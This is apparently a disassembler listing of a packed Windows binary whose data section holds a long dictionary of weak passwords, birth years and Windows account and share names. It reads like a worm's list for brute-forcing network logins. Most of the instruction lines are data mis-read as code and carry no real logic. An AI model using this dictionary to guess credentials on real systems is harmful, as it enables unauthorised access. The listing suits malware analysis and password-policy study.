dd offset aEstablish ; "establish"
dd offset aExtension ; "extension"
; ---------------------------------------------------------------------------
rol ah, 1
inc edx
add ah, al
les eax, [edx+0]
rol ah, 42h
add [esp+eax*8-3B47FFBEh], bh
inc edx
add [esp+eax*8-3B57FFBEh], ch
inc edx
add [esp+eax*8-3B6FFFBEh], bl
inc edx
add [esp+eax*8-3B77FFBEh], cl
inc edx
add [esp+eax*8-3B7FFFBEh], al
inc edx
add [esp+eax*8+42h], dh
add [eax-3Ch], dh
inc edx
add [esp+eax*8+42h], ch
add [eax-3Ch], ah
inc edx
add [esp+eax*8+42h], bl
add [eax-3Ch], bl
inc edx
add [esp+eax*8+42h], dl
add [eax-3Ch], dl
inc edx
add [esp+eax*8+42h], al
add [esp+eax*8], dh
inc edx
add [eax], dh
les eax, [edx+0]
sub al, 0C4h
inc edx
add [eax], ah
les eax, [edx+0]
adc al, 0C4h
inc edx
add [eax], cl
les eax, [edx+0]
cld
retn
; ---------------------------------------------------------------------------
inc edx
add al, dh
retn
; ---------------------------------------------------------------------------
inc edx
add ah, ah
retn
; ---------------------------------------------------------------------------
inc edx
add al, ah
retn
; ---------------------------------------------------------------------------
inc edx
add al, dl
retn
; ---------------------------------------------------------------------------
inc edx
add ah, cl
retn
; ---------------------------------------------------------------------------
inc edx
add al, al
retn
; ---------------------------------------------------------------------------
inc edx
add [ebx+eax*8-3C4FFFBEh], bh
inc edx
add [ebx+eax*8-3C67FFBEh], ah
inc edx
add [ebx+eax*8-3C7FFFBEh], cl
inc edx
add [ebx+eax*8+42h], bh
add [eax-3Dh], dh
inc edx
add [ebx+eax*8+42h], ah
add [eax-3Dh], bl
inc edx
add [ebx+eax*8+42h], dl
add [eax-3Dh], cl
inc edx
add [ebx+eax*8], bh
inc edx
add [eax], dh
retn
; ---------------------------------------------------------------------------
inc edx
add [ebx+eax*8], ah
inc edx
add [eax], ah
retn
; ---------------------------------------------------------------------------
inc edx
add [ebx+eax*8], dl
inc edx
add [ebx+eax*8], al
inc edx
add al, bh
retn 42h
; ---------------------------------------------------------------------------
dd offset aXyz ; "xyz"
dd offset aYellowstone ; "yellowstone"
dd offset dword_42C2E4
; ---------------------------------------------------------------------------
fadd st, st(2)
inc edx
add ah, dl
retn 42h
; ---------------------------------------------------------------------------
loc_42AE28: ; CODE XREF: .nsp0:0042AE64j
rol dl, 1
inc edx
add ah, cl
retn 42h
; ---------------------------------------------------------------------------
enter 42C2h, 0
rol dl, 42h
add [eax-4FFFBD3Eh], bh
retn 42h
; ---------------------------------------------------------------------------
movsb
retn 42h
; ---------------------------------------------------------------------------
mov al, ds:9C0042C2h
retn 42h
; ---------------------------------------------------------------------------
cwde
retn 42h
; ---------------------------------------------------------------------------
xchg eax, esp
retn 42h
; ---------------------------------------------------------------------------
dd offset a@@ ; "@@"
; ---------------------------------------------------------------------------
mov edx, es
inc edx
add [eax-7BFFBD3Eh], cl
retn 42h
; ---------------------------------------------------------------------------
jl short loc_42AE28
inc edx
add [eax-3Eh], bh
inc edx
add [edx+eax*8+42h], dh
add [edx+eax*8+42h], dh
add [edx+eax*8+42h], ch
add [eax-3Eh], ch
inc edx
add [eax-3Eh], ah
inc edx
add [edx+eax*8+42h], bl
add [edx+eax*8+42h], dl
add [edx+eax*8+42h], cl
add [eax-3Eh], cl
inc edx
add [edx+eax*8+42h], al
add [eax-3Eh], al
inc edx
add [edx+eax*8], dh
inc edx
add [edx+eax*8], ch
inc edx
add [edx+eax*8], ah
inc edx
add [edx+eax*8], bl
inc edx
add [edx+eax*8], dl
inc edx
add [eax], dl
retn 42h
; ---------------------------------------------------------------------------
or al, 0C2h
inc edx
add [ebx+edi*8], dh
inc edx
add [eax], dh
sti
inc edx
add [ebx+edi*8], bl
inc edx
add [ebx+edi*8], dl
inc edx
add [ebx+edi*8], cl
inc edx
add [ebx+edi*8], al
inc edx
add [eax+42C7h], al
retn 42h
; ---------------------------------------------------------------------------
dd offset a0000000000 ; "0000000000"
dd offset asc_42C1F0 ; "*"
dd offset asc_42C1EC ; "**"
dd offset asc_42C1E8 ; "***"
dd offset asc_42C1E0 ; "****"
dd offset asc_42C1D8 ; "*****"
dd offset asc_42C1D0 ; "******"
dd offset asc_42C1C8 ; "*******"
dd offset asc_42C1BC ; "********"
dd offset asc_42C1B0 ; "*********"
dd offset a001 ; "001"
dd offset a002 ; "002"
dd offset a003 ; "003"
dd offset a004 ; "004"
dd offset a005 ; "005"
dd offset a006 ; "006"
dd offset a007 ; "007"
dd offset a008 ; "008"
dd offset a009 ; "009"
dd offset a010 ; "010"
dd offset a0wn3d ; "0wn3d"
dd offset a0wned ; "0wned"
dd offset a1 ; "1"
dd offset a11 ; "11"
dd offset a111 ; "111"
dd offset a1111 ; "1111"
dd offset a11111 ; "11111"
dd offset a111111 ; "111111"
dd offset a1111111 ; "1111111"
dd offset a11111111 ; "11111111"
dd offset a111111111 ; "111111111"
dd offset a1111111111 ; "1111111111"
dd offset a2 ; "2"
dd offset a22 ; "22"
dd offset a222 ; "222"
dd offset a2222 ; "2222"
dd offset a22222 ; "22222"
dd offset a222222 ; "222222"
dd offset a2222222 ; "2222222"
dd offset a22222222 ; "22222222"
dd offset a222222222 ; "222222222"
dd offset a2222222222 ; "2222222222"
dd offset a3 ; "3"
dd offset a33 ; "33"
dd offset a333 ; "333"
dd offset a3333 ; "3333"
dd offset a33333 ; "33333"
dd offset a333333 ; "333333"
dd offset a3333333 ; "3333333"
dd offset a33333333 ; "33333333"
dd offset a333333333 ; "333333333"
dd offset a3333333333 ; "3333333333"
dd offset a4 ; "4"
dd offset a44 ; "44"
dd offset a444 ; "444"
dd offset a4444 ; "4444"
dd offset a44444 ; "44444"
dd offset a444444 ; "444444"
dd offset a4444444 ; "4444444"
dd offset a44444444 ; "44444444"
dd offset a444444444 ; "444444444"
dd offset a4444444444 ; "4444444444"
dd offset a5 ; "5"
dd offset a55 ; "55"
dd offset a555 ; "555"
dd offset a5555 ; "5555"
dd offset a55555 ; "55555"
dd offset a555555 ; "555555"
dd offset a5555555 ; "5555555"
dd offset a55555555 ; "55555555"
dd offset a555555555 ; "555555555"
dd offset a5555555555 ; "5555555555"
dd offset a6 ; "6"
dd offset a66 ; "66"
dd offset a666 ; "666"
dd offset a6666 ; "6666"
dd offset a66666 ; "66666"
dd offset a666666 ; "666666"
dd offset a6666666 ; "6666666"
dd offset a66666666 ; "66666666"
dd offset a666666666 ; "666666666"
dd offset a6666666666 ; "6666666666"
dd offset a7 ; "7"
dd offset a77 ; "77"
dd offset a777 ; "777"
dd offset a7777 ; "7777"
dd offset a77777 ; "77777"
dd offset a777777 ; "777777"
dd offset a7777777 ; "7777777"
dd offset a77777777 ; "77777777"
dd offset a777777777 ; "777777777"
dd offset a7777777777 ; "7777777777"
dd offset a8 ; "8"
dd offset a88 ; "88"
dd offset a888 ; "888"
dd offset a8888 ; "8888"
dd offset a88888 ; "88888"
dd offset a888888 ; "888888"
dd offset a8888888 ; "8888888"
dd offset a88888888 ; "88888888"
dd offset a888888888 ; "888888888"
dd offset a8888888888 ; "8888888888"
dd offset a9 ; "9"
dd offset a99 ; "99"
dd offset a999 ; "999"
dd offset a9999 ; "9999"
dd offset a99999 ; "99999"
dd offset a999999 ; "999999"
dd offset a9999999 ; "9999999"
dd offset a99999999 ; "99999999"
dd offset a999999999 ; "999999999"
dd offset a9999999999 ; "9999999999"
dd offset a110 ; "110"
dd offset a7410 ; "7410"
dd offset a0147 ; "0147"
dd offset a1122 ; "1122"
dd offset a456 ; "456"
dd offset a654 ; "654"
dd offset a789 ; "789"
dd offset a987 ; "987"
dd offset a8520 ; "8520"
dd offset a0258 ; "0258"
dd offset a1020 ; "1020"
dd offset a12 ; "12"
dd offset a121 ; "121"
dd offset a121212 ; "121212"
dd offset a123 ; "123"
dd offset a123123 ; "123123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a12346 ; "12346"
dd offset a123467 ; "123467"
dd offset a1234678 ; "1234678"
dd offset a12346789 ; "12346789"
dd offset a123467890 ; "123467890"
dd offset a1qwer ; "1qwer"
dd offset a1abc ; "1abc"
dd offset a1asd ; "1asd"
dd offset a1qwe ; "1qwe"
dd offset a12qwer ; "12qwer"
dd offset a12abc ; "12abc"
dd offset a12asd ; "12asd"
dd offset a12qwe ; "12qwe"
dd offset a123qwer ; "123qwer"
dd offset a123abc ; "123abc"
dd offset a123asd ; "123asd"
dd offset a123qwe ; "123qwe"
dd offset a1234qwer ; "1234qwer"
dd offset a1234abc ; "1234abc"
dd offset a1234asd ; "1234asd"
dd offset a1234qwe ; "1234qwe"
dd offset a1952 ; "1952"
dd offset a1953 ; "1953"
dd offset a1954 ; "1954"
dd offset a1955 ; "1955"
dd offset a1956 ; "1956"
dd offset a1957 ; "1957"
dd offset a1958 ; "1958"
dd offset a1959 ; "1959"
dd offset a1960 ; "1960"
dd offset a1961 ; "1961"
dd offset a1962 ; "1962"
dd offset a1963 ; "1963"
dd offset a1964 ; "1964"
dd offset a1965 ; "1965"
dd offset a1966 ; "1966"
dd offset a1967 ; "1967"
dd offset a1968 ; "1968"
dd offset a1969 ; "1969"
dd offset a1970 ; "1970"
dd offset a1971 ; "1971"
dd offset a1972 ; "1972"
dd offset a1973 ; "1973"
dd offset a1974 ; "1974"
dd offset a1975 ; "1975"
dd offset a1976 ; "1976"
dd offset a1977 ; "1977"
dd offset a1978 ; "1978"
dd offset a1979 ; "1979"
dd offset a1980 ; "1980"
dd offset a1981 ; "1981"
dd offset a1982 ; "1982"
dd offset a1983 ; "1983"
dd offset a1984 ; "1984"
dd offset a1985 ; "1985"
dd offset a1986 ; "1986"
dd offset a1987 ; "1987"
dd offset a1988 ; "1988"
dd offset a1989 ; "1989"
dd offset a1990 ; "1990"
dd offset a1991 ; "1991"
dd offset a1992 ; "1992"
dd offset a1993 ; "1993"
dd offset a1994 ; "1994"
dd offset a1995 ; "1995"
dd offset a1996 ; "1996"
dd offset a1997 ; "1997"
dd offset a1998 ; "1998"
dd offset a1999 ; "1999"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset a2005 ; "2005"
dd offset a2006 ; "2006"
dd offset a2600 ; "2600"
dd offset a321 ; "321"
dd offset a4321 ; "4321"
dd offset a54321 ; "54321"
dd offset a654321 ; "654321"
dd offset a7654321 ; "7654321"
dd offset aSony ; "sony"
dd offset aSamsung_0 ; "SAMSUNG"
dd offset aSamsung ; "samsung"
dd offset aSony_0 ; "SONY"
dd offset aMaster_0 ; "MASTER"
dd offset aMicrosoft ; "MICROSOFT"
dd offset aDisc_0 ; "DISC"
dd offset aCreative ; "CREATIVE"
dd offset aSex ; "SEX"
dd offset aNokia ; "NOKIA"
dd offset aXp ; "XP"
dd offset aA_0 ; "a"
dd offset aAa ; "aa"
dd offset aAaa ; "aaa"
dd offset aAaaa ; "aaaa"
dd offset aAaaaa ; "aaaaa"
dd offset aAaaaaa ; "aaaaaa"
dd offset aAaaaaaa ; "aaaaaaa"
dd offset aAaaaaaaa ; "aaaaaaaa"
dd offset aAaaaaaaaa ; "aaaaaaaaa"
dd offset aPassword_0 ; "Password"
dd offset aPassword1 ; "password1"
dd offset aQw ; "qw"
dd offset aQwe ; "qwe"
dd offset aQwer ; "qwer"
dd offset aQwert ; "qwert"
dd offset aQwerty ; "qwerty"
; ---------------------------------------------------------------------------
cwde
mov ebx, 0BB8C0042h
inc edx
add [eax+740042BBh], al
mov ebx, 42h
inc ebx
add [ebx+edi*4+42h], ch
add al, cl
rol byte ptr [edx+0], cl
db 64h
mov ebx, 0BB580042h
inc edx
add [eax-45h], dl
inc edx
add al, ah
inc byte ptr [edx+0]
dec esp
mov ebx, 0BB480042h
inc edx
add [ebx+edi*4+42h], al
add al, bl
int 3 ; Trap to Debugger
inc edx
add [eax-45h], al
inc edx
add [eax], bh
mov ebx, 0CC6C0042h
inc edx
add [eax-5], bh
inc edx
add [ebx+edi*8+42h], dh
add [eax-5], dh
inc edx
add [eax-5], ch
inc edx
add [eax-5], ah
inc edx
add [eax-5], bl
inc edx
add [eax-5], dl
inc edx
add [ebx+edi*8+42h], al
add [eax], bh
sti
inc edx
add ah, dh
retn 42h
; ---------------------------------------------------------------------------
dd offset aYaco ; "yaco"
dd offset aYang ; "yang"
dd offset aKonyang ; "konyang"
dd offset aZ ; "z"
dd offset aZx ; "zx"
dd offset aZxc ; "zxc"
dd offset aZxcv ; "zxcv"
dd offset aZxcvb ; "zxcvb"
dd offset aZxcvbn ; "zxcvbn"
dd offset aZxcvbnm ; "zxcvbnm"
dd offset aAs ; "as"
dd offset aAsd ; "asd"
dd offset aAsdf ; "asdf"
dd offset aAsdfg ; "asdfg"
dd offset aAsdfgh ; "asdfgh"
dd offset aAsdfghj ; "asdfghj"
dd offset aAsdfghjk ; "asdfghjk"
dd offset aAsdfghjkl ; "asdfghjkl"
dd offset aQaz ; "qaz"
dd offset aWsx ; "wsx"
dd offset aEdc ; "edc"
dd offset aRfv ; "rfv"
dd offset aB_0 ; "b"
dd offset aBb ; "bb"
dd offset aBbb ; "bbb"
dd offset aBbbb ; "bbbb"
dd offset aBbbbb ; "bbbbb"
dd offset aBbbbbb ; "bbbbbb"
dd offset aBbbbbbb ; "bbbbbbb"
dd offset aBbbbbbbb ; "bbbbbbbb"
dd offset aBbbbbbbbb ; "bbbbbbbbb"
dd offset aC ; "c"
dd offset aCc ; "cc"
dd offset aCcc ; "ccc"
dd offset aCccc_0 ; "cccc"
dd offset aCcccc ; "ccccc"
dd offset aCccccc ; "cccccc"
dd offset aCcccccc ; "ccccccc"
dd offset aCccccccc ; "cccccccc"
dd offset aCcccccccc ; "ccccccccc"
dd offset aD ; "d"
dd offset aDd ; "dd"
dd offset aDdd ; "ddd"
dd offset aDddd ; "dddd"
dd offset aDdddd ; "ddddd"
dd offset aF ; "f"
dd offset aFf ; "ff"
dd offset aFff ; "fff"
dd offset aFfff ; "ffff"
dd offset aFffff ; "fffff"
dd offset aE ; "e"
dd offset aEe ; "ee"
dd offset aEee ; "eee"
dd offset aEeee ; "eeee"
dd offset aEeeee ; "eeeee"
dd offset aEeeeee ; "eeeeee"
dd offset aG ; "g"
dd offset aGg ; "gg"
dd offset aGgg ; "ggg"
dd offset aGggg ; "gggg"
dd offset aGgggg ; "ggggg"
dd offset aGggggg ; "gggggg"
dd offset asc_42B9BC ; "h"
dd offset aHh ; "hh"
dd offset aHhh ; "hhh"
dd offset aHhhh ; "hhhh"
dd offset aHhhhh ; "hhhhh"
dd offset aHhhhhh ; "hhhhhh"
dd offset aI_1 ; "i"
dd offset aIi ; "ii"
dd offset aIii ; "iii"
dd offset aIiii ; "iiii"
dd offset aIiiii ; "iiiii"
dd offset aIiiiii ; "iiiiii"
dd offset aJ ; "j"
dd offset aJj ; "jj"
dd offset aJjj ; "jjj"
dd offset aJjjj ; "jjjj"
dd offset aJjjjj ; "jjjjj"
dd offset aJjjjjj ; "jjjjjj"
dd offset aK ; "k"
dd offset aKk ; "kk"
dd offset aKkk ; "kkk"
dd offset aKkkk ; "kkkk"
dd offset aKkkkk ; "kkkkk"
dd offset aKkkkkk ; "kkkkkk"
dd offset asc_42B92C ; "l"
dd offset aLl ; "ll"
dd offset aLll ; "lll"
dd offset aLlll ; "llll"
dd offset aLllll ; "lllll"
dd offset aLlllll ; "llllll"
dd offset aM_1 ; "m"
dd offset aMm ; "mm"
dd offset aMmm ; "mmm"
dd offset aMmmm ; "mmmm"
dd offset aMmmmm ; "mmmmm"
dd offset aMmmmmm ; "mmmmmm"
dd offset aN ; "n"
dd offset aNn ; "nn"
dd offset aNnn ; "nnn"
dd offset aNnnn ; "nnnn"
dd offset aNnnnn ; "nnnnn"
dd offset aNnnnnn ; "nnnnnn"
dd offset aO ; "o"
dd offset aOo ; "oo"
dd offset aOoo ; "ooo"
dd offset aOooo ; "oooo"
dd offset aOoooo ; "ooooo"
dd offset aOooooo ; "oooooo"
dd offset aP ; "p"
dd offset aPp ; "pp"
dd offset aPpp ; "ppp"
dd offset aPppp ; "pppp"
dd offset aPpppp ; "ppppp"
dd offset aPppppp ; "pppppp"
dd offset aU ; "u"
dd offset aUu ; "uu"
dd offset aUuu ; "uuu"
dd offset aUuuu ; "uuuu"
dd offset aUuuuu ; "uuuuu"
dd offset aUuuuuu ; "uuuuuu"
dd offset aS_1 ; "s"
dd offset aSs ; "ss"
dd offset aSss ; "sss"
dd offset aSsss ; "ssss"
dd offset aSssss ; "sssss"
dd offset aSsssss ; "ssssss"
dd offset aT ; "t"
dd offset aTt ; "tt"
dd offset aTtt ; "ttt"
dd offset aTttt ; "tttt"
dd offset aTtttt ; "ttttt"
dd offset aTttttt ; "tttttt"
dd offset aY ; "y"
dd offset aYy ; "yy"
dd offset aYyy ; "yyy"
dd offset aYyyy ; "yyyy"
dd offset aYyyyy ; "yyyyy"
dd offset aYyyyyy ; "yyyyyy"
dd offset aV ; "v"
dd offset aVv ; "vv"
dd offset aVvv ; "vvv"
dd offset aVvvv ; "vvvv"
dd offset aVvvvv ; "vvvvv"
dd offset aVvvvvv ; "vvvvvv"
dd offset aW ; "w"
dd offset aWw ; "ww"
dd offset aWww ; "www"
dd offset aWwww ; "wwww"
dd offset aWwwww ; "wwwww"
dd offset aWwwwww ; "wwwwww"
dd offset aQ ; "q"
dd offset aQq ; "qq"
dd offset aQqq ; "qqq"
dd offset aQqqq ; "qqqq"
dd offset aQqqqq ; "qqqqq"
dd offset aQqqqqq ; "qqqqqq"
dd offset aZ ; "z"
dd offset aZz ; "zz"
dd offset aZzz ; "zzz"
dd offset aZzzz ; "zzzz"
dd offset aZzzzz ; "zzzzz"
dd offset aZzzzzz ; "zzzzzz"
dd offset aXxyyzz ; "xxyyzz"
dd offset aZzxx ; "zzxx"
dd offset aAass ; "aass"
dd offset aQqww ; "qqww"
dd offset aZzzxxxccc ; "zzzxxxccc"
dd offset aAaasssddd ; "aaasssddd"
dd offset aQqqwwweee ; "qqqwwweee"
dd offset aQqwwee ; "qqwwee"
dd offset aAassdd ; "aassdd"
dd offset aZzxxcc ; "zzxxcc"
dd offset a1qaz ; "1qaz"
dd offset a2wsx ; "2wsx"
dd offset a2qaz ; "2qaz"
dd offset a3edc ; "3edc"
dd offset a3wsx ; "3wsx"
dd offset a112233 ; "112233"
dd offset aMnb ; "mnb"
dd offset aMnbv ; "mnbv"
dd offset a2486 ; "2486"
dd offset a2684 ; "2684"
dd offset a13579 ; "13579"
dd offset a753159 ; "753159"
dd offset a159357 ; "159357"
dd offset a951753 ; "951753"
dd offset a753951 ; "753951"
dd offset a142536 ; "142536"
dd offset aSystem ; "system"
dd offset aAdministrato_1 ; "ADMINISTRATOR"
dd offset aAdministrator ; "Administrator"
dd offset aAdministrato_0 ; "administrator"
dd offset aFubar ; "fubar"
dd offset aBla ; "bla"
dd offset aGuest_1 ; "GUEST"
dd offset aRoot_0 ; "ROOT"
dd offset aRoot ; "root"
dd offset aAdmin_0 ; "ADMIN"
dd offset aPassword ; "PASSWORD"
dd offset aTemp ; "TEMP"
dd offset aShare_0 ; "SHARE"
dd offset aWrite ; "WRITE"
dd offset aFull_0 ; "FULL"
dd offset aLadeda ; "ladeda"
dd offset aBoth ; "BOTH"
dd offset aRead ; "READ"
dd offset aFiles ; "FILES"
dd offset aDemo ; "DEMO"
dd offset aOwner_0 ; "OWNER"
dd offset aOwner_1 ; "Owner"
dd offset aEdu ; "edu"
dd offset aTest ; "TEST"
dd offset aAccess ; "ACCESS"
dd offset aUser_0 ; "USER"
dd offset aBackup ; "BACKUP"
dd offset aSystem_0 ; "SYSTEM"
dd offset aServer_1 ; "SERVER"
dd offset byte_443398
dd 0
dword_42B684 dd 10h ; .nsp0:00402616r ...
a142536 db '142536',0 ; DATA XREF: .nsp0:0042B604o
align 10h
a753951 db '753951',0 ; DATA XREF: .nsp0:0042B600o
align 4
a951753 db '951753',0 ; DATA XREF: .nsp0:0042B5FCo
align 10h
a159357 db '159357',0 ; DATA XREF: .nsp0:0042B5F8o
align 4
a753159 db '753159',0 ; DATA XREF: .nsp0:0042B5F4o
align 10h
a13579 db '13579',0 ; DATA XREF: .nsp0:0042B5F0o
align 4
a2684 db '2684',0 ; DATA XREF: .nsp0:0042B5ECo
align 10h
a2486 db '2486',0 ; DATA XREF: .nsp0:0042B5E8o
align 4
aMnbv db 'mnbv',0 ; DATA XREF: .nsp0:0042B5E4o
align 10h
aMnb db 'mnb',0 ; DATA XREF: .nsp0:0042B5E0o
a112233 db '112233',0 ; DATA XREF: .nsp0:0042B5DCo
align 4
a3wsx db '3wsx',0 ; DATA XREF: .nsp0:0042B5D8o
align 4
a3edc db '3edc',0 ; DATA XREF: .nsp0:0042B5D4o
align 4
a2qaz db '2qaz',0 ; DATA XREF: .nsp0:0042B5D0o
align 4
a2wsx db '2wsx',0 ; DATA XREF: .nsp0:0042B5CCo
align 4
a1qaz db '1qaz',0 ; DATA XREF: .nsp0:0042B5C8o
align 4
aZzxxcc db 'zzxxcc',0 ; DATA XREF: .nsp0:0042B5C4o
align 4
aAassdd db 'aassdd',0 ; DATA XREF: .nsp0:0042B5C0o
align 4
aQqwwee db 'qqwwee',0 ; DATA XREF: .nsp0:0042B5BCo
align 4
aQqqwwweee db 'qqqwwweee',0 ; DATA XREF: .nsp0:0042B5B8o
align 4
aAaasssddd db 'aaasssddd',0 ; DATA XREF: .nsp0:0042B5B4o
align 4
aZzzxxxccc db 'zzzxxxccc',0 ; DATA XREF: .nsp0:0042B5B0o
align 10h
aQqww db 'qqww',0 ; DATA XREF: .nsp0:0042B5ACo
align 4
aAass db 'aass',0 ; DATA XREF: .nsp0:0042B5A8o
align 10h
aZzxx db 'zzxx',0 ; DATA XREF: .nsp0:0042B5A4o
align 4
aXxyyzz db 'xxyyzz',0 ; DATA XREF: .nsp0:0042B5A0o
align 10h
aZzzzzz db 'zzzzzz',0 ; DATA XREF: .nsp0:0042B59Co
align 4
aZzzzz db 'zzzzz',0 ; DATA XREF: .nsp0:0042B598o
align 10h
aZzzz db 'zzzz',0 ; DATA XREF: .nsp0:0042B594o
align 4
aZzz db 'zzz',0 ; DATA XREF: .nsp0:0042B590o
aZz db 'zz',0 ; DATA XREF: .nsp0:0042B58Co
align 10h
aQqqqqq db 'qqqqqq',0 ; DATA XREF: .nsp0:0042B584o
align 4
aQqqqq db 'qqqqq',0 ; DATA XREF: .nsp0:0042B580o
align 10h
aQqqq db 'qqqq',0 ; DATA XREF: .nsp0:0042B57Co
align 4
aQqq db 'qqq',0 ; DATA XREF: .nsp0:0042B578o
aQq db 'qq',0 ; DATA XREF: .nsp0:0042B574o
align 10h
aQ: ; DATA XREF: .nsp0:00403127o
; .nsp0:0042B570o ...
unicode 0, <q>,0
aWwwwww db 'wwwwww',0 ; DATA XREF: .nsp0:0042B56Co
align 4
aWwwww db 'wwwww',0 ; DATA XREF: .nsp0:0042B568o
align 4
aWwww db 'wwww',0 ; DATA XREF: .nsp0:0042B564o
align 4
aWww db 'www',0 ; DATA XREF: .nsp0:0042B560o
aWw db 'ww',0 ; DATA XREF: .nsp0:0042B55Co
align 4
aW: ; DATA XREF: .nsp0:0042B558o
; .nsp0:0043FEDCo
unicode 0, <w>,0
aVvvvvv db 'vvvvvv',0 ; DATA XREF: .nsp0:0042B554o
align 10h
aVvvvv db 'vvvvv',0 ; DATA XREF: .nsp0:0042B550o
align 4
aVvvv db 'vvvv',0 ; DATA XREF: .nsp0:0042B54Co
align 10h
aVvv db 'vvv',0 ; DATA XREF: .nsp0:0042B548o
aVv db 'vv',0 ; DATA XREF: .nsp0:004069F5o
; .nsp0:0042B544o
align 4
aV: ; DATA XREF: .nsp0:00405AAFo
; .nsp0:0042B540o ...
unicode 0, <v>,0
aYyyyyy db 'yyyyyy',0 ; DATA XREF: .nsp0:0042B53Co
align 4
aYyyyy db 'yyyyy',0 ; DATA XREF: .nsp0:0042B538o
align 4
aYyyy db 'yyyy',0 ; DATA XREF: .nsp0:0042B534o
align 4
aYyy db 'yyy',0 ; DATA XREF: .nsp0:0042B530o
aYy db 'yy',0 ; DATA XREF: .nsp0:0042B52Co
align 4
aY: ; DATA XREF: .nsp0:0042B528o
; .nsp0:0043FEECo
unicode 0, <y>,0
aTttttt db 'tttttt',0 ; DATA XREF: .nsp0:0042B524o
align 4
aTtttt db 'ttttt',0 ; DATA XREF: .nsp0:0042B520o
align 10h
aTttt db 'tttt',0 ; DATA XREF: .nsp0:0042B51Co
align 4
aTtt db 'ttt',0 ; DATA XREF: .nsp0:0042B518o
aTt db 'tt',0 ; DATA XREF: .nsp0:0042B514o
align 10h
aT: ; DATA XREF: .nsp0:004031F7o
; .nsp0:0042B510o ...
unicode 0, <t>,0
aSsssss db 'ssssss',0 ; DATA XREF: .nsp0:0042B50Co
align 4
aSssss db 'sssss',0 ; DATA XREF: .nsp0:0042B508o
align 4
aSsss db 'ssss',0 ; DATA XREF: .nsp0:0042B504o
align 4
aSss db 'sss',0 ; DATA XREF: .nsp0:0042B500o
aSs db 'ss',0 ; DATA XREF: .nsp0:0042B4FCo
align 4
aS_1: ; DATA XREF: .nsp0:00403151o
; .nsp0:0042B4F8o ...
unicode 0, <s>,0
aUuuuuu db 'uuuuuu',0 ; DATA XREF: .nsp0:0042B4F4o
align 10h
aUuuuu db 'uuuuu',0 ; DATA XREF: .nsp0:0042B4F0o
align 4
aUuuu db 'uuuu',0 ; DATA XREF: .nsp0:0042B4ECo
align 10h
aUuu db 'uuu',0 ; DATA XREF: .nsp0:0042B4E8o
aUu db 'uu',0 ; DATA XREF: .nsp0:0042B4E4o
align 4
aU: ; DATA XREF: .nsp0:00406A3Ao
; .nsp0:0042B4E0o ...
unicode 0, <u>,0
aPppppp db 'pppppp',0 ; DATA XREF: .nsp0:0042B4DCo
align 4
aPpppp db 'ppppp',0 ; DATA XREF: .nsp0:0042B4D8o
align 4
aPppp db 'pppp',0 ; DATA XREF: .nsp0:0042B4D4o
align 4
aPpp db 'ppp',0 ; DATA XREF: .nsp0:0042B4D0o
aPp db 'pp',0 ; DATA XREF: .nsp0:0042B4CCo
align 4
aP: ; DATA XREF: .nsp0:00406AADo
; .nsp0:0042B4C8o ...
unicode 0, <p>,0
aOooooo db 'oooooo',0 ; DATA XREF: .nsp0:0042B4C4o
align 4
aOoooo db 'ooooo',0 ; DATA XREF: .nsp0:0042B4C0o
align 10h
aOooo db 'oooo',0 ; DATA XREF: .nsp0:0042B4BCo
align 4
aOoo db 'ooo',0 ; DATA XREF: .nsp0:0042B4B8o
aOo db 'oo',0 ; DATA XREF: .nsp0:0042B4B4o
align 10h
aO: ; DATA XREF: .nsp0:0040595Fo
; .nsp0:0042B4B0o
unicode 0, <o>,0
aNnnnnn db 'nnnnnn',0 ; DATA XREF: .nsp0:0042B4ACo
align 4
aNnnnn db 'nnnnn',0 ; DATA XREF: .nsp0:0042B4A8o
align 4
aNnnn db 'nnnn',0 ; DATA XREF: .nsp0:0042B4A4o
align 4
aNnn db 'nnn',0 ; DATA XREF: .nsp0:0042B4A0o
aNn db 'nn',0 ; DATA XREF: .nsp0:0042B49Co
align 4
aN: ; DATA XREF: .nsp0:0040580Fo
; .nsp0:0042B498o ...
unicode 0, <n>,0
aMmmmmm db 'mmmmmm',0 ; DATA XREF: .nsp0:0042B494o
align 10h
aMmmmm db 'mmmmm',0 ; DATA XREF: .nsp0:0042B490o
align 4
aMmmm db 'mmmm',0 ; DATA XREF: .nsp0:0042B48Co
align 10h
aMmm db 'mmm',0 ; DATA XREF: .nsp0:0042B488o
aMm db 'mm',0 ; DATA XREF: .nsp0:0042B484o
align 4
aM_1: ; DATA XREF: .nsp0:0040635Co
; .nsp0:0042B480o ...
unicode 0, <m>,0
aLlllll db 'llllll',0 ; DATA XREF: .nsp0:0042B47Co
align 4
aLllll db 'lllll',0 ; DATA XREF: .nsp0:0042B478o
align 4
aLlll db 'llll',0 ; DATA XREF: .nsp0:0042B474o
align 4
aLll db 'lll',0 ; DATA XREF: .nsp0:0042B470o
aLl db 'll',0 ; DATA XREF: .nsp0:0042B46Co
align 4
asc_42B92C: ; DATA XREF: .nsp0:0042B468o
; .nsp0:0043FF1Co
unicode 0, <l>,0
aKkkkkk db 'kkkkkk',0 ; DATA XREF: .nsp0:0042B464o
align 4
aKkkkk db 'kkkkk',0 ; DATA XREF: .nsp0:0042B460o
align 10h
aKkkk db 'kkkk',0 ; DATA XREF: .nsp0:0042B45Co
align 4
aKkk db 'kkk',0 ; DATA XREF: .nsp0:0042B458o
aKk db 'kk',0 ; DATA XREF: .nsp0:0042B454o
align 10h
aK: ; DATA XREF: .nsp0:004058B7o
; .nsp0:0042B450o ...
unicode 0, <k>,0
aJjjjjj db 'jjjjjj',0 ; DATA XREF: .nsp0:0042B44Co
align 4
aJjjjj db 'jjjjj',0 ; DATA XREF: .nsp0:0042B448o
align 4
aJjjj db 'jjjj',0 ; DATA XREF: .nsp0:0042B444o
align 4
aJjj db 'jjj',0 ; DATA XREF: .nsp0:0042B440o
aJj db 'jj',0 ; DATA XREF: .nsp0:0042B43Co
align 4
aJ: ; DATA XREF: .nsp0:00405839o
; .nsp0:0042B438o ...
unicode 0, <j>,0
aIiiiii db 'iiiiii',0 ; DATA XREF: .nsp0:0042B434o
align 10h
aIiiii db 'iiiii',0 ; DATA XREF: .nsp0:0042B430o
align 4
aIiii db 'iiii',0 ; DATA XREF: .nsp0:0042B42Co
align 10h
aIii db 'iii',0 ; DATA XREF: .nsp0:0042B428o
